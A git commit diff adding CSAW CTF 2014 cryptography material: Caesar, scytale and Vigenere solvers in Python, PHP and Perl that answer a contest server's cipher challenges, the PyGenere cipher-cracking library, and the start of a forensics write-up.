some small fixes

This commit is contained in:
Mari Wahl 2014-10-07 14:44:17 -04:00
parent b2447582cc
commit 73da4eeecd
56 changed files with 8326 additions and 0 deletions

View File

View File

@ -0,0 +1,16 @@
# CSAW CTF 2014 - Cryptography Problems
#### psifer school
[My write-up](https://gist.github.com/bt3gl/a8617848ccb37e56034d)
#### cfbsum
[My write-up](https://gist.github.com/bt3gl/73cbe9a9f21b7c8c73a6)
#### Feal
[My write-up](https://gist.github.com/bt3gl/ff057566e256144291c7)

View File

@ -0,0 +1,16 @@
# CSAW CTF 2014 - Cryptography Problems
#### psifer school
[My write-up](https://gist.github.com/bt3gl/a8617848ccb37e56034d)
#### cfbsum
[My write-up](https://gist.github.com/bt3gl/73cbe9a9f21b7c8c73a6)
#### Feal
[My write-up](https://gist.github.com/bt3gl/ff057566e256144291c7)

View File

@ -0,0 +1,85 @@
#!/usr/bin/env python
__author__ = "bt3gl"
import string
FREQ_ENGLISH = [0.0749, 0.0129, 0.0354, 0.0362, 0.1400, 0.0218, 0.0174, 0.0422, 0.0665, 0.0027, 0.0047, 0.0357,
0.0339, 0.0674, 0.0737, 0.0243, 0.0026, 0.0614, 0.0695, 0.0985, 0.0300, 0.0116, 0.0169, 0.0028,
0.0164, 0.0004]
def delta(freq_word, freq_eng):
# zip together the value from the text and the value from FREQ_EdiffGlist_freqISH
diff = 0.0
for a, b in zip(freq_word, freq_eng):
diff += abs(a - b)
return diff
def cipher(msg, key):
# Make the cipher
dec = ''
for c in msg.lower():
if 'a' <= c <= 'z':
dec += chr(ord('a') + (ord(c) - ord('a') + key) % 26)
else:
dec += c
return dec
def frequency(msg):
# Compute the word frequencies
dict_freq = dict([(c,0) for c in string.lowercase])
diff = 0.0
for c in msg:
if 'a'<= c <= 'z':
diff += 1
dict_freq[c] += 1
list_freq = dict_freq.items()
list_freq.sort()
return [b / diff for (a, b) in list_freq]
def decipher(msg):
# Decipher by frequency
min_delta = 1000
best_rotation = 0
freq = frequency(msg)
for key in range(26):
d = delta(freq, FREQ_ENGLISH)
if d < min_delta:
min_delta = d
best_rotation = key
return cipher(msg, -best_rotation)
def decipher_simple(msg):
# very smart way of solving using translate and maketrans methods
diff = (ord('t') - ord(s[0])) % 26
x = string.ascii_lowercase
x = x[diff:] + x[:diff]
ans = string.translate(s,string.maketrans(string.ascii_lowercase,x))
return ans
if __name__ == '__main__':
key = 13
text = 'hacker school is awesome!'
cip = cipher(text, key)
dec = decipher(cip)
print "Cipher: " + cip
print "Decipher: " + dec
assert(text == dec)

View File

@ -0,0 +1,238 @@
<?php
class Vigenere {
public static $mVigTable;
public static $mKey;
public static $mMod;
final public function __construct($rKey = false, $rVigTable = false)
{
self::$mVigTable = $rVigTable ? $rVigTable : 'abcdefghijklmnopqrstuvwxyz';
self::$mMod = strlen(self::$mVigTable);
self::$mKey = $rKey ? $rKey : self::generateKey();
}
final public function getKey()
{
return self::$mKey;
}
private function getVignereIndex($iPos)
{
return strpos(self::$mVigTable, $iPos); // todo: catch chars not in table
}
private function getVignereChar($rVignereIndex)
{
(int)$iVignereIndex = $rVignereIndex;
$iVignereIndex=$iVignereIndex>=0 ? $iVignereIndex : strlen(self::$mVigTable)+$iVignereIndex;
return self::$mVigTable{$iVignereIndex};
}
final public function generateKey()
{
self::$mKey = '';
for ($i = 0; $i < self::$mMod; $i++) {
self::$mKey .= self::$mVigTable{rand(0, self::$mMod)};
}
return self::$mKey;
}
final public function encrypt($rText, $rKey)
{
$sEncryptValue = '';
$sKey = (String)$rKey;
$sText = (String)$rText;
for($i = 0; $i < strlen($sText); $i++)
{
(int)$iText = self::getVignereIndex($sText[$i]);
(int)$iKey = self::getVignereIndex(self::charAt($sKey, $i));
$iEncryptIndex = ($iText+$iKey)%(self::$mMod);
$iEncryptIndex = self::EnsureKeyValid($iEncryptIndex);
$sEncryptValue .= self::getVignereChar($iEncryptIndex);
}
return $sEncryptValue;
}
final public function encrypt2($rText, $rKey, $rMod)
{
(String)$sEncryptValue = '';
$sKey = (String)$rKey;
$sText = (String)$rText;
$iMod = (int)$rMod;
for($i = 0; $i < strlen($sText); $i++)
{
(int)$iText = self::getVignereIndex($sText[$i]);
(int)$iKey = self::getVignereIndex(self::charAt($sKey, $i));
$iEncryptIndex = ($iText+$iKey)%($iMod);
$iEncryptIndex = self::EnsureKeyValid($iEncryptIndex);
$sEncryptValue .= self::getVignereChar($iEncryptIndex);
}
return $sEncryptValue;
}
final public function decrypt($rText, $rKey)
{
(String)$sDecryptValue = '';
$sKey = (String)$rKey;
$sText = (String)$rText;
for($i = 0; $i < strlen($sText); $i++)
{
(int)$iText = self::getVignereIndex($sText[$i]);
(int)$iKey = self::getVignereIndex(self::charAt($sKey, $i));
$iDecryptIndex = ($iText-$iKey)%(self::$mMod);
$iDecryptIndex = self::EnsureKeyValid($iDecryptIndex);
$sDecryptValue .= self::getVignereChar($iDecryptIndex);
}
return $sDecryptValue;
}
final public function decrypt2($rText, $rKey, $rMod)
{
(String)$sDecryptValue = '';
$sKey = (String)$rKey;
$sText = (String)$rText;
$iMod = (int)$rMod;
for($i = 0; $i < strlen($sText); $i++)
{
(int)$iText = self::getVignereIndex($sText[$i]);
(int)$iKey = self::getVignereIndex(self::charAt($sKey, $i));
$iDecryptIndex = ($iText-$iKey)%($iMod);
$iDecryptIndex = self::EnsureKeyValid($iDecryptIndex);
$sDecryptValue .= self::getVignereChar($iDecryptIndex);
}
return $sDecryptValue;
}
private function charAt($rStr, $rPos)
{
$iPos = (int)$rPos%strlen((String)$rStr);
return $rStr{$iPos};
}
private function EnsureKeyValid($rIndex)
{
$iIndex = (int)$rIndex;
return ($iIndex >= 0) ? $iIndex : (strlen(self::$mVigTable)+$iIndex);
}
}
function decrypt_final($key,$text){
$text = str_replace(" ","", strtolower($text));
$key = $key;
$plain= new Vigenere($key);
$plain= $plain->decrypt($text,$key);
return strtoupper($plain);
}
function str_rot($s, $n = 13) {
$n = (int)$n % 26;
if (!$n) return $s;
for ($i = 0, $l = strlen($s); $i < $l; $i++) {
$c = ord($s[$i]);
if ($c >= 97 && $c <= 122) {
$s[$i] = chr(($c - 71 + $n) % 26 + 97);
} else if ($c >= 65 && $c <= 90) {
$s[$i] = chr(($c - 39 + $n) % 26 + 65);
}
}
return $s;
}
function inStr ($needle, $haystack) { // instr("test","testtest");
$needlechars = strlen($needle);
$i = 0;
for($i=0; $i < strlen($haystack); $i++)
{
if(substr($haystack, $i, $needlechars) == $needle)
{
return TRUE;
}
}
return FALSE;
}
$usenet = fsockopen("54.209.5.48", "12345", $errno, $errstr, 3);
first:
while (!feof($usenet)) {
$kp = fgets($usenet, 128);
if(inStr("psifer text:", $kp)){
$kp = explode("psifer text: ", $kp);
$kp = $kp[1];
$kp = explode("\n", $kp);
$kp = $kp[0];
for($i=0;$i<25;$i++){
$temp = str_rot($kp, $i) . "\n";
if(instr("the answer to this stage is" , $temp)){
$temp = explode("the answer to this stage is " , $temp);
$temp = $temp[1];
goto second;
}
}
}
}
second:
fputs($usenet, $temp);
while (!feof($usenet)) {
$kp = fgets($usenet, 260);
if(inStr("psifer text:", $kp)){
$kp = explode("psifer text: ", $kp);
$kp = $kp[1];
$possible_flag = array("easiest answer", "more answers here", "winning for the win", "tired of making up bogus answers", "not not wrong");
$possible_guess= rand(0,2);
fputs($usenet, $possible_flag[$possible_guess] . "\n");
goto third;
}
}
third:
while (!feof($usenet)) {
if(!$usenet) die("error.");
$kp = fgets($usenet, 8192);
if(inStr("psifer text:", $kp)){
$kp = explode("psifer text: ", $kp);
$kp = $kp[1];
/*
echo @decrypt_final("force",$kp) . "\n----\n";
echo @decrypt_final("tobrute",$kp) . "\n----\n";
echo @decrypt_final("dictionary",$kp) . "\n----\n";
echo @decrypt_final("diary",$kp) . "\n----\n";
*/
if(inStr("HISTIMEWEWILLGIVEYOU",@decrypt_final("force",$kp))){
$temp = @decrypt_final("force",$kp);
$temp = explode("DLERIGHTHERE",$temp);
$temp = $temp[1];
$temp = explode("OKNOW",$temp);
$temp = $temp[0];
fputs($usenet, $temp);
}elseif(inStr("HISTIMEWEWILLGIVEYOU",@decrypt_final("tobrute",$kp))){
$temp = @decrypt_final("tobrute",$kp);
$temp = explode("DLERIGHTHERE",$temp);
$temp = $temp[1];
$temp = explode("OKNOW",$temp);
$temp = $temp[0];
fputs($usenet, $temp);
}elseif(inStr("HISTIMEWEWILLGIVEYOU",@decrypt_final("dictionary",$kp))){
$temp = @decrypt_final("tobrute",$kp);
$temp = explode("DLERIGHTHERE",$temp);
$temp = $temp[1];
$temp = explode("OKNOW",$temp);
$temp = $temp[0];
fputs($usenet, $temp);
}elseif(inStr("HISTIMEWEWILLGIVEYOU",@decrypt_final("diary",$kp))){
$temp = @decrypt_final("diary",$kp);
$temp = explode("DLERIGHTHERE",$temp);
$temp = $temp[1];
$temp = explode("OKNOW",$temp);
$temp = $temp[0];
fputs($usenet, $temp);
}
fputs($usenet,"\n");
$kp = fgets($usenet, 8192);
echo $kp;
}
}
?>

View File

@ -0,0 +1,168 @@
#!/usr/bin/perl -w
# By Black-ID
#@Go Back
#CSAW 2014
use IO::Socket;
use POSIX;
use warnings;
no warnings;
my $server = "54.209.5.48";
my $port = 12345;
# Create new Socket
my $sock = new IO::Socket::INET(PeerAddr => $server,PeerPort => $port,Proto => 'tcp') or die "Can't connect\n";
# Log on to CSAW server.
sub caesarCipher {
$strText = $_[0];
$iShiftValue = $_[1];
my $strCipherText = "";
@strTextArray = split(//, $strText);
$iShift = $iShiftValue % 26;
if ($iShift < 0) {
$iShift += 26;
}
$i = 0;
while ($i < length($strText)) {
$c = uc($strTextArray[$i]);
if ( ($c ge 'A') && ($c le 'Z') ) {
if ( chr(ord($c) + $iShift) gt 'Z') {
$strCipherText .= chr(ord($c) + $iShift - 26);
} else {
$strCipherText .= chr(ord($c) + $iShift);
}
} else {
$strCipherText .= " ";
}
$i++;
}
return lc($strCipherText);
}
sub scytaleCipher {
$strText = $_[0];
$iShiftValue = $_[1];
my $strCipherText = "";
@strTextArray = split //, $strText;
$M = length($strText);
$iShift = floor($M/$iShiftValue);
if ($iShift*$iShiftValue < $M) {
$iShift++;
}
for($a=0;$a<$iShiftValue;$a++) {
for($i=0;$i<$iShift;$i++) {
$strCipherText .= $strTextArray[$a+$i*$iShiftValue];
}
}
return $strCipherText;
}
sub vigenerebrute{
$strChiper = $_[0];
$strCipherText = "";
$a = 0;
for($a=0;$a<10;$a++) {
@chars = split(//, "abcdefghijklmnopqrstuvwxyz");
#print $chars[0];
for($i=0;$i<26;$i++) {
$output = decrypt_string($strChiper,$chars[$i]);
@out = split(//, $output);
@cmp = split(//, "thistimewewillgive");
#print $out[$i];
if($out[$a] eq $cmp[$a]) {
$strCipherText .= $chars[$i];
}
}
$output = decrypt_string($strChiper,$strCipherText);
if($output =~ /thistimewewillgive(.*)/){
last;
}
}
if ($output =~ /righthere(.*)oknow/){
return $1;
}
}
sub decrypt_string{
my ($ciphertext, $key) = @_;
my $plaintext;
$key = $key x (length($ciphertext) / length($key) + 1);
for( my $i=0; $i<length($ciphertext); $i++ ){
$plaintext .=
decrypt_letter( (substr($ciphertext,$i,1)), (substr($key,$i,1)));
}
return $plaintext;
}
sub decrypt_letter{
my ($cipher, $row) = @_;
my $plain;
$row = ord(lc($row)) - ord('a');
$cipher = ord(lc($cipher)) - ord('a');
$plain = ($cipher - $row) % 26;
$plain = chr($plain + ord('a'));
return lc($plain);
}
$sock->recv($data,1024);
print $data;
$sock->recv($data,1024);
print $data;
if($data =~ m/psifer text: (.+)$/g){
$cipher = $1;
print "\nEncoded: $cipher\n";
for($a=0;$a<=26;$a++) {
$st = caesarCipher($cipher, $a);
if ($st =~ /the answer(.*)/){
print "\nDecoded: $st\n";
$ccipher = substr $st, 28;
$sock->send($ccipher."\n");
print "\nKey: $ccipher\n";
}
}
}
$sock->recv($data,1024);
print $data;
if($data =~ /psifer text: (.*)/){
$cipher = $1;
print "\nEncoded: $cipher\n";
for($a=1;$a<=300;$a++) {
$st = scytaleCipher ($cipher,$a);
if ($st =~ /I hope you(.*)/){
print "[$a] => $st\n";
if($st =~ /"(.+?)"/){
$key = $1;
print "\nkey is : $key\n";
$sock->send($key."\n");
}
}
}
}
$sock->recv($data,1024);
print $data;
if($data =~ /psifer text: (.*)/){
$cipher = $1;
$cipher =~ s/\s+//g;
print "\nEncoded: $cipher\n";
$key = vigenerebrute($cipher);
print "\nkey is : $key\n";
$sock->send($key."\n");
$sock->recv($data,1024);
print $data;
$sock->recv($data,1024);
print $data;
}

View File

@ -0,0 +1,114 @@
#!/usr/bin/env python
__author__ = "bt3gl"
import sys
from telnetlib import Telnet
from caesarCipher import decipher, decipher_simple
from pygenere import VigCrack
def solve1(msg):
# Caesar Cipher
# Solve the first cypher and encode back to unicode:
# the method encode() returns an encoded version of the string
# Both method work fine.
# One is by freq. analysis or the other by rotating
dec_msg = decipher(msg)
#dec_msg = decipher_simple(msg)
dec_msg = dec_msg.split()[-1]
return dec_msg
def solve2(msg):
# Shift cypher, but dealing with special characters
for j in range(2, len(msg)):
dec_msg = ['0'] * len(msg)
idec_msg,shift = 0, 0
for i in range(len(msg)):
dec_msg[idec_msg] = msg[i]
idec_msg += j
if idec_msg >= len(msg):
shift += 1
idec_msg = shift
dec_msg = "".join(dec_msg)
if "you" not in dec_msg: continue
return dec_msg
def solve3(msg):
# Vigenere Cypher
key = VigCrack(msg).crack_codeword()
dec_msg = VigCrack(msg).crack_message()
dec_msg = dec_msg.replace(" ", "")
return key, dec_msg
if __name__ == '__main__':
PORT = 12345
HOST = '54.209.5.48'
tn = Telnet(HOST ,PORT)
'''
SOLVING STAGE 1 - CEASAR CIPHER
'''
tn.read_until(b'psifer text: ')
msg_in1 = tn.read_until(b'\n').dec_msg().strip()
answer1 = solve1(msg_in1)
tn.write(answer1.encode() + b'\n')
print 'Message stage 1: ' + msg_in1
print
print 'Answer stage 1: ' + answer1
print
print
'''
SOLVING STAGE 2 - SPECIAL CHARS
'''
msg_in2 = tn.read_all().dec_msg()
msg_in2 = (msg_in2.split(':')[1]).split("Time")[0]
answer2 = solve2(msg_in2)
tn.write(answer2.encode() + b'\n')
print 'Message stage 2: ' + msg_in2
print
print 'Answer stage 2: ' + answer2
print
print
'''
SOLVING STAGE 3 - VINEGERE
'''
msg_in3 = tn.read_all().dec_msg()
msg_in3 = (msg_in3.split(':')[1]).split("Time")[0]
key, answer3 = solve3(msg_in3)
tn.write(answer3.encode() + b'\n')
print 'Message stage 3: ' + msg_in3
print
print 'Answer stage 3: ' + answer3
print '(key: ' + key + ')'

View File

@ -0,0 +1,477 @@
# PyGenere v 0.3
#
# Release Date: 2007-02-16
# Author: Simon Liu <webmonkey at smurfoncrack dot com>
# URL: http://smurfoncrack.com/pygenere
# History and License at end of file
r"""
This library implements the Caesar and Vigenere ciphers, allowing a piece of
plaintext to be encoded using a numeric rotation or an alphabetic keyword,
and also decoded if the key/rotation is known.
In case the key is not known, methods are provided that analyze the ciphertext
and attempt to find the original key and decode the message: these work using
character frequency analysis. English, French, German, Italian, Portuguese,
and Spanish texts are currently supported. Results are generally accurate if
the length of the plaintext is long compared to the length of the key used to
encipher it.
Example usage:
>>> from pygenere import *
>>> plaintext = 'Attack at dawn.'
>>> key = 3
>>> ciphertext = Caesar(plaintext).encipher(key)
>>> ciphertext
'Dwwdfn dw gdzq.'
>>> Vigenere(ciphertext).decipher('D') # A=0, B=1, C=2, D=3, etc.
'Attack at dawn.'
The 'Attack at dawn.' message is too short for the automatic Vigenere decoder
to work properly. A way around this is to concatenate copies of the message
to itself, increasing the amount of text to analyze:
>>> VigCrack(ciphertext*5).crack_codeword(1)
'D'
>>> VigCrack(ciphertext*5).crack_message()
'Attack at dawn.Attack at dawn.Attack at dawn.Attack at dawn.Attack at dawn.'
The crack_message() and crack_codeword() methods in the VigCrack class take 0,
1 or 2 arguments. For more information, see the docstrings for those methods.
Note that this method (repeating the ciphertext) does not always work, but can
sometimes be of use, as in the case of the example above.
Both the encipher() and decipher() methods for Vigenere and Caesar objects
return a cipher object of the same type. This makes method chaining possible:
>>> codeword = 'King'
>>> Vigenere(plaintext).encipher(codeword).decipher(codeword)
'Attack at dawn.'
>>> Caesar(plaintext).encipher(3).decipher(2).decipher(1)
'Attack at dawn.'
Note:
1. Non-alphabetic input (e.g. " " and "." above) is left as is.
2. The case of the input (plaintext/ciphertext) is preserved.
3. The case of the key doesn't matter, e.g. 'king', 'KING', and 'KiNg' are
identical keys.
Since each cipher is a subclass of the built-in str class, any cipher object
can be treated as a string. For instance:
>>> Vigenere(plaintext).replace(' ', '').lower()
'attackatdawn.'
However, since Python 2.1 and below don't seem to support subclasses of
the str class, Python 2.2 or newer is required to use this library.
By default, PyGenere assumes that the original plaintext message was written
in English, and thus English character frequencies are used for analysis.
To change the language, the set_language() method is used. For example, the
following code shows a short French string, encrypted with the keyword
'FR', decoded. Without setting the language first, an incorrect result is
obtained:
>>> text = 'Non, je ne veux pas coucher avec vous ce soir'
>>> encrypted = Vigenere(text).encipher('FR')
>>> print VigCrack(encrypted).set_language('FR').crack_codeword(2)
FR
>>> print VigCrack(encrypted).crack_codeword(2)
FS
This isn't always the case: two languages may have similar enough character
frequency distributions that decoding sometimes works correctly even when the
language setting is incorrect.
Currently, PyGenere's language options other than English are DE (German),
ES (Spanish), FR (French), IT (Italian), and PT (Portuguese).
"""
class Caesar(str):
"""An implementation of the Caesar cipher."""
def encipher(self, shift):
"""Encipher input (plaintext) using the Caesar cipher and return it
(ciphertext)."""
ciphertext = []
for p in self:
if p.isalpha():
ciphertext.append(chr((ord(p) - ord('Aa'[int(p.islower())]) +
shift) % 26 + ord('Aa'[int(p.islower())])))
else:
ciphertext.append(p)
return Caesar(''.join(ciphertext))
def decipher(self, shift):
"""Decipher input (ciphertext) using the Caesar cipher and return it
(plaintext)."""
return self.encipher(-shift)
class Vigenere(str):
"""An implementation of the Vigenere cipher."""
def encipher(self, key):
"""Encipher input (plaintext) using the Vigenere cipher and return
it (ciphertext)."""
ciphertext = []
k = 0
n = len(key)
for i in range(len(self)):
p = self[i]
if p.isalpha():
ciphertext.append(chr((ord(p) + ord(
(key[k % n].upper(), key[k % n].lower())[int(p.islower())]
) - 2*ord('Aa'[int(p.islower())])) % 26 +
ord('Aa'[int(p.islower())])))
k += 1
else:
ciphertext.append(p)
return Vigenere(''.join(ciphertext))
def decipher(self, key):
"""Decipher input (ciphertext) using the Vigenere cipher and return
it (plaintext)."""
plaintext = []
k = 0
n = len(key)
for i in range(len(self)):
c = self[i]
if c.isalpha():
plaintext.append(chr((ord(c) - ord(
(key[k % n].upper(), key[k % n].lower())[int(c.islower())]
)) % 26 + ord('Aa'[int(c.islower())])))
k += 1
else:
plaintext.append(c)
return Vigenere(''.join(plaintext))
class InputError(Exception):
"""This class is only used for throwing exceptions if the user supplies
invalid input (e.g. ciphertext is an empty string)."""
pass
class VigCrack(Vigenere):
"""
VigCrack objects have methods to break Vigenere-encoded texts when the
original key is unknown.
The technique used is based on the one described in:
http://www.stonehill.edu/compsci/Shai_papers/RSA.pdf
(pages 9-10)
Character frequencies taken from:
http://www.csm.astate.edu/~rossa/datasec/frequency.html (English)
http://www.characterfrequency.com/ (French, Italian, Portuguese, Spanish)
http://www.santacruzpl.org/readyref/files/g-l/ltfrqger.shtml (German)
"""
# Unless otherwise specified, test for codewords between (and including)
# these two lengths:
__default_min_codeword_length = 5
__default_max_codeword_length = 9
# The following are language-specific data on character frequencies.
# Kappa is the "index of coincidence" described in the cryptography paper
# (link above).
__english_data = {
'A':8.167, 'B':1.492, 'C':2.782, 'D':4.253, 'E':12.702,
'F':2.228, 'G':2.015, 'H':6.094, 'I':6.996, 'J':0.153,
'K':0.772, 'L':4.025, 'M':2.406, 'N':6.749, 'O':7.507,
'P':1.929, 'Q':0.095, 'R':5.987, 'S':6.327, 'T':9.056,
'U':2.758, 'V':0.978, 'W':2.360, 'X':0.150, 'Y':1.974,
'Z':0.074, 'max_val':12.702, 'kappa':0.0667
}
__french_data = {
'A':8.11, 'B':0.903, 'C':3.49, 'D':4.27, 'E':17.22,
'F':1.14, 'G':1.09, 'H':0.769, 'I':7.44, 'J':0.339,
'K':0.097, 'L':5.53, 'M':2.89, 'N':7.46, 'O':5.38,
'P':3.02, 'Q':0.999, 'R':7.05, 'S':8.04, 'T':6.99,
'U':5.65, 'V':1.30, 'W':0.039, 'X':0.435, 'Y':0.271,
'Z':0.098, 'max_val':17.22, 'kappa':0.0746
}
__german_data = {
'A':6.506, 'B':2.566, 'C':2.837, 'D':5.414, 'E':16.693,
'F':2.044, 'G':3.647, 'H':4.064, 'I':7.812, 'J':0.191,
'K':1.879, 'L':2.825, 'M':3.005, 'N':9.905, 'O':2.285,
'P':0.944, 'Q':0.055, 'R':6.539, 'S':6.765, 'T':6.742,
'U':3.703, 'V':1.069, 'W':1.396, 'X':0.022, 'Y':0.032,
'Z':1.002, 'max_val':16.693, 'kappa':0.0767
}
__italian_data = {
'A':11.30, 'B':0.975, 'C':4.35, 'D':3.80, 'E':11.24,
'F':1.09, 'G':1.73, 'H':1.02, 'I':11.57, 'J':0.035,
'K':0.078, 'L':6.40, 'M':2.66, 'N':7.29, 'O':9.11,
'P':2.89, 'Q':0.391, 'R':6.68, 'S':5.11, 'T':6.76,
'U':3.18, 'V':1.52, 'W':0.00, 'X':0.024, 'Y':0.048,
'Z':0.958, 'max_val':11.57, 'kappa':0.0733
}
__portuguese_data = {
'A':13.89, 'B':0.980, 'C':4.18, 'D':5.24, 'E':12.72,
'F':1.01, 'G':1.17, 'H':0.905, 'I':6.70, 'J':0.317,
'K':0.0174, 'L':2.76, 'M':4.54, 'N':5.37, 'O':10.90,
'P':2.74, 'Q':1.06, 'R':6.67, 'S':7.90, 'T':4.63,
'U':4.05, 'V':1.55, 'W':0.0104, 'X':0.272, 'Y':0.0165,
'Z':0.400, 'max_val':13.89, 'kappa':0.0745
}
__spanish_data = {
'A':12.09, 'B':1.21, 'C':4.20, 'D':4.65, 'E':13.89,
'F':0.642, 'G':1.11, 'H':1.13, 'I':6.38, 'J':0.461,
'K':0.038, 'L':5.19, 'M':2.86, 'N':7.23, 'O':9.58,
'P':2.74, 'Q':1.37, 'R':6.14, 'S':7.43, 'T':4.49,
'U':4.53, 'V':1.05, 'W':0.011, 'X':0.124, 'Y':1.14,
'Z':0.324, 'max_val':13.89, 'kappa':0.0766
}
# The default language is set to English.
__lang = 'EN'
__lang_data = __english_data
# This method sets the lang (__lang) attribute of a VigCrack object.
def set_language(self, language):
self.__lang = language.upper()
if self.__lang == 'DE':
self.__lang_data = self.__german_data
elif self.__lang == 'ES':
self.__lang_data = self.__spanish_data
elif self.__lang == 'FR':
self.__lang_data = self.__french_data
elif self.__lang == 'IT':
self.__lang_data = self.__italian_data
elif self.__lang == 'PT':
self.__lang_data = self.__portuguese_data
else:
self.__lang = 'EN'
return self
# Rotate text n places to the right, wrapping around at the end.
def __rotate_right(self, n):
cutting_point = len(self) - (n % len(self))
return self[cutting_point:] + self[:cutting_point]
# Get every nth char from a piece of text, from a given starting position.
def __get_every_nth_char(self, start, n):
accumulator = []
for i in range(len(self)):
if (i % n) == start:
accumulator.append(self[i])
return VigCrack(''.join(accumulator)).set_language(self.__lang)
# Build a dictionary containing the number of occurrences of each char.
def __count_char_freqs(self):
dictionary = {}
self = self.upper()
for char in self:
if char.isalpha():
dictionary[char] = dictionary.get(char, 0) + 1
return dictionary
# Scale the dictionary so that it can be compared with __lang_data.
def __scale(self, dictionary):
v = dictionary.values()
v.sort()
max_val = v[-1]
scaling_factor = self.__lang_data['max_val']/max_val
for (k, v) in dictionary.items():
dictionary[k] = v*scaling_factor
return dictionary
# The residual error is the difference between a char's frequency in
# __lang_data and its frequency in the scaled dictionary from above.
# The error is then squared to remove a possible negative value.
def __sum_residuals_squared(self, dictionary):
sum = 0
for (k, v) in dictionary.items():
sum += (v - self.__lang_data[k])**2
return sum
# Find the Caesar shift that brings the ciphertext closest to the
# character distribution of the plaintext's language.
def __find_best_caesar_shift(self):
best = 0
smallest_sum = -1
# Find the residual sum for each shift.
for shift in range(26):
encoded_text = Caesar(self).encipher(shift)
vigcrack_obj = VigCrack(encoded_text).set_language(self.__lang)
char_freqs = vigcrack_obj.__count_char_freqs()
scaled = vigcrack_obj.__scale(char_freqs)
current_sum = vigcrack_obj.__sum_residuals_squared(scaled)
# Keep track of the shift with the lowest residual sum.
# If there's a tie, the smallest shift wins.
if smallest_sum == -1:
smallest_sum = current_sum
if current_sum < smallest_sum:
best = shift
smallest_sum = current_sum
return best
def __find_codeword_length(self, min_length, max_length):
codeword_length = min_length
kappas = []
# Put the kappa value for each codeword length tested into an array.
for i in range(min_length, max_length + 1):
temp = self.__rotate_right(i)
coincidences = 0
for j in range(len(self)):
if temp[j] == self[j]:
coincidences += 1
kappas.append(float(coincidences)/len(self))
# Find out which value of kappa is closest to the kappa of the
# plaintext's language. If there's a tie, the shortest codeword wins.
smallest_squared_diff = -1
for i in range((max_length + 1) - min_length):
current_squared_diff = (self.__lang_data['kappa'] - kappas[i])**2
if smallest_squared_diff == -1:
smallest_squared_diff = current_squared_diff
if current_squared_diff < smallest_squared_diff:
codeword_length = min_length + i
smallest_squared_diff = current_squared_diff
return codeword_length
def __find_codeword(self, min_length, max_length):
# Strip away invalid chars.
accumulator = []
for char in self:
if char.isalpha():
accumulator.append(char)
alpha_only = VigCrack(''.join(accumulator)).set_language(self.__lang)
codeword_length = alpha_only.__find_codeword_length(min_length,
max_length)
# Build the codeword by finding one character at a time.
codeword = []
for i in range(codeword_length):
temp = alpha_only.__get_every_nth_char(i, codeword_length)
shift = temp.__find_best_caesar_shift()
if shift == 0:
codeword.append('A')
else:
codeword.append(chr(ord('A') + (26 - shift)))
return VigCrack(''.join(codeword)).set_language(self.__lang)
def __parse_args(self, *arg_list):
if len(arg_list) == 0: # Use default values for codeword length.
min_length = self.__default_min_codeword_length
max_length = self.__default_max_codeword_length
elif len(arg_list) == 1: # Exact codeword length specified by user.
min_length = max_length = int(arg_list[0])
else: # min_length and max_length given by user.
min_length = int(arg_list[0])
max_length = int(arg_list[1])
# Check for input errors.
if min_length == max_length:
if min_length < 1:
raise InputError('Codeword length is too small')
else:
if min_length < 1:
raise InputError('min_length is too small')
if max_length < 1:
raise InputError('max_length is too small')
if max_length < min_length:
raise InputError('max_length cannot be shorter than min_length')
if len(self) == 0:
raise InputError('Ciphertext is empty')
if len(self) < max_length:
raise InputError('Ciphertext is too short')
# Check that the ciphertext contains at least one valid character.
has_valid_char = False
for char in self:
if char.isalpha():
has_valid_char = True
break
if not has_valid_char:
raise InputError('No valid characters in ciphertext')
# If everything's all right, return the min_length and max_length.
return [min_length, max_length]
def crack_codeword(self, *arg_list):
"""
Try to find the codeword that encrypted the ciphertext object.
If no arguments are supplied, codewords between the default minimum
length and the default maximum length are tried.
If one integer argument is supplied, only codewords with that length
will be tried.
If two integer arguments are given then the first argument is treated
as a minimum codeword length, and the second argument is treated as a
maximum codeword length, to try.
"""
array = self.__parse_args(*arg_list)
return self.__find_codeword(array[0], array[1])
def crack_message(self, *arg_list):
"""
Try to decode the ciphertext object.
This method accepts arguments in the same way as the crack_codeword()
method.
"""
codeword = self.crack_codeword(*arg_list)
return self.decipher(codeword)
# History
# -------
#
# 2007-02-16: v 0.3. Minor (mostly cosmetic) modifications to make the code
# more compliant with the Python Style Guide
# (http://www.python.org/dev/peps/pep-0008/).
#
# 2006-06-11: v 0.2. Language support added for German (DE), Spanish (ES),
# French (FR), Italian (IT), and Portuguese (PT).
#
# 2006-04-29: v 0.1. First release.
#
#
#
# License
# -------
#
# Copyright (c) 2006, Simon Liu <webmonkey at smurfoncrack dot com>
# All rights reserved.
#
# This library incorporates code from the PyCipher project on SourceForge.net
# (http://sourceforge.net/projects/pycipher/). The original copyright notice
# is preserved below as required; these modifications are released under the
# same terms.
#
#
# Copyright (c) 2005, Aggelos Orfanakos <csst0266atcsdotuoidotgr>
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are met:
#
# * Redistributions of source code must retain the above copyright notice, this
# list of conditions and the following disclaimer.
#
# * Redistributions in binary form must reproduce the above copyright notice,
# this list of conditions and the following disclaimer in the documentation
# and/or other materials provided with the distribution.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
# DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE
# FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
# DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
# SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
# CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
# OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
# OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

View File

View File

@ -0,0 +1,161 @@
# Forensics-100: dumpster diving
This is the first forensic problem, and it is only 100 points. The problem starts with the following text:
> dumpsters are cool, but cores are cooler
>
> Written by marc
>
> [firefox.mem.zip]
----------
##Unziping firefox.mem.zip
